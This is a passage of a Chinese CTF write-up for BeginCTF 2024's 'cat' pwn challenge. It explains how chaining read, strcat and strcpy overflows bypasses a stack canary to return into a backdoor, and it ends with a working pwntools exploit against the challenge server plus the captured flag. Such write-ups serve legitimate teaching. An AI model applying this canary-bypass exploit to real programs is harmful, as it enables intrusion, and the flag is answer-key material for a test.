 v8 = __readfsqword(0x28u);
 buf[0] = 0LL;
 buf[1] = 0LL;
 *(_QWORD *)dest = 0LL;
 v5 = 0LL;
 *(_QWORD *)v6 = 0LL;
 v7 = 0LL;
 puts("read:");
 read(0, buf, 0x100uLL);
 strcat(dest, a1);
 strcpy(v6, a2);
 return v8 - __readfsqword(0x28u);
}

第一眼看,开了canary保护,同时怎么还有三个栈溢出的地方

shift +f12还看到cat flag,看来有后门函数

Beginctf 2024 pwn部分题解_格式化字符串_16

跟进后,点一下跳转过去,找到后门函数,

Beginctf 2024 pwn部分题解_栈溢出_17


Beginctf 2024 pwn部分题解_wp_18


那显然目标就简单了,通过栈溢出,改返回地址为0x4011f6或者说0x4011fe【看栈平衡来选,这里得选后者】

Beginctf 2024 pwn部分题解_栈溢出_19


那也就是绕过canary就行了,但这种情况我也是第一次遇到,去网上找绕过canary保护的6种方法,发现没一个对得上。。。

后来想到,会不会这三个栈溢出函数压根不用,gdb动态调试是否直接就能看到有返回地址在栈上,然后改改低位即可,不过通过调试,这个不合情理的猜想也被证伪了。。

后面每次想做这道题,就只能到网上找文章,看看能不能找到一篇能够点拨我。

找出题人博客,没找到,,,找pwncollege的wp,也没发现类似的。。

确实想过这3个栈溢出能用的函数组合在一起确实没啥必要,都在漏洞函数vuln里面,肯定存在问题,但后面一想,这题目名叫cat,那应该是strcat函数问题,然后找半天相关的东西,没收获,,,,,,

只能看着3个栈溢出干瞪眼。后面想着我干脆每个函数都写个能栈溢出的payload,然后发现这一幕,read(buf)后返回地址改成功了,但strcat后,又把返回地址给改到其他地方去了【把\x00改成\x61了】,好有思路了。

思路就是先用read函数覆盖掉canary低位的\x00,这样,strcat的时候,至少会把剩下部分的canary以及之前的部分当做第一个参数,然后strcat就负责改返回地址,然后再用strcpy将canary低位覆盖为\x00,保证canary不变

神奇,巧妙,666666666

刷新了我canary只能通过泄露填上或者是越界写来绕过的认知

按着思路,gdb边调边写

exp如下:

# begin{C4N4rY_IS_so_eAsY_to_P4s5_1d1476422e67}
from pwn import *
context.log_level = 'debug'
# io = process('./cat')
io = remote("101.32.220.189",32152)

# gdb.attach(io)
backdoor = 0x4011fe
cat = b"aa" + p64(backdoor)
cpy = b"b" *0x18 + b'\x00'
buf = 'a' * 0x39
io.recvuntil("read:")
io.send(cat)
io.recvuntil("read:")
io.send(cpy)
io.recvuntil("read:")
io.send(buf)
io.interactive()